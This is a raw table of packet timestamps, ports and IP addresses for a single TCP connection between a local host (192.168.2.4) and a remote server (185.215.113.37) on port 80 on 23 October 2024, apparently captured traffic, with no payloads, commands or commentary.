Oct 23, 2024 15:48:21.156883955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.230834007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.230906963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.230947971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.230972052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.230972052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.230982065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231007099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231019974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231021881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231055021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231091022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231103897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231103897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231149912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231184959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231195927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231195927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231235027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231277943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231277943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231286049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231333017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231373072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231424093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231447935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231457949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231506109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231506109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231513023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231544018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231587887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231587887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231595039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231631041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231666088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231687069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231687069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231715918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231761932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231761932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231767893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231803894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231836081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231847048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231847048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231872082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231900930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231920004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231920004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231934071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231969118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.231976032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.231976032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232019901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232054949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232090950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232095003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232095003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232095003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232136011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232141972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232192993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232196093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232230902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232264042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232281923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232281923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232316017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232322931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232372999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232414007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232414007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232423067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232458115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232491016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232496977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232496977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232526064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232569933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232569933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232575893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232614040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232619047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232649088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232682943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232692957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232693911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232732058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232769012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232777119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232777119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232815027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232820988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232871056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232913971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232913971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.232922077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.232973099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233016968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233016968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233023882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233057976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233093023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233098030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233098030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233122110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233155012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233166933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233166933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233190060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233234882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233234882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233238935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233292103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233325005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233335972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233335972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233375072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233421087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233421087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233428001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233479023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233511925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233522892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233522892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233546019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233587980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233587980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233597040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233634949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233679056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233679056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233686924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233738899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233787060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233788013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233788013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233838081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233870983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233896971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233897924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233905077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233949900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.233963966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233997107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.233999968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234054089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234054089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234105110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234155893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234158039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234208107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234251022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234251022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234258890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234292984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234328032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234333992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234333992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234369993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234378099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234426975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234469891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234469891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234476089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234509945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234540939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234546900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234546900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234589100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234627008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234627008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234637976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234671116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234704018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234709024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234709024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234743118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234776020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234783888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234783888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234810114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234843016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234848976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234848976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234877110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234911919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234915018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234915018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.234962940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.234996080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235004902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235004902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235030890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235069990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235069990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235079050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235112906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235141993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235146999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235146999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235191107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235229015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235229015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235239983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235274076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235307932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235317945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235317945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235373974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235409021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235414028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235414028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235455990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235496998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235496998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235506058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235538960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235572100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235578060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235578060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235610008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235649109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235649109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235660076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235692978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235727072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235732079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235732079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235775948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235810995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235817909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235817909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235860109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235898972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235898972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235908985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235943079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.235974073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.235992908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236027002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236058950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236072063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236072063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236093044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236141920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236146927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236146927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236191034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236223936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236264944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236264944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236272097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236314058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236323118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236356974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236391068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236402035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236402035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236460924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236495018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236505032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236505032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236527920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236569881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236569881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236578941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236613035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236655951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236655951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236665010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236720085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236762047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236762047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236771107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236804962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236838102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236850023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236850023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236887932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236923933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.236936092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236936092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.236962080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237001896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237001896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237011909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237046957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237091064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237091064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237098932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237132072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237166882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237179995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237179995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237200975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237235069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237243891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237243891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237270117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237308025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237315893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237315893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237344027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237376928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237391949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237391949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237411022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237422943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237446070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237478971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237492085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237492085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237514973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237524986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237549067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237581968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237593889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237593889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237616062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237651110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237660885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237660885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237684011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237720013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237725019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237725019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237755060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237766981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.237788916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237862110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.237874985 CEST	49730	80	192.168.2.4	185.215.113.37
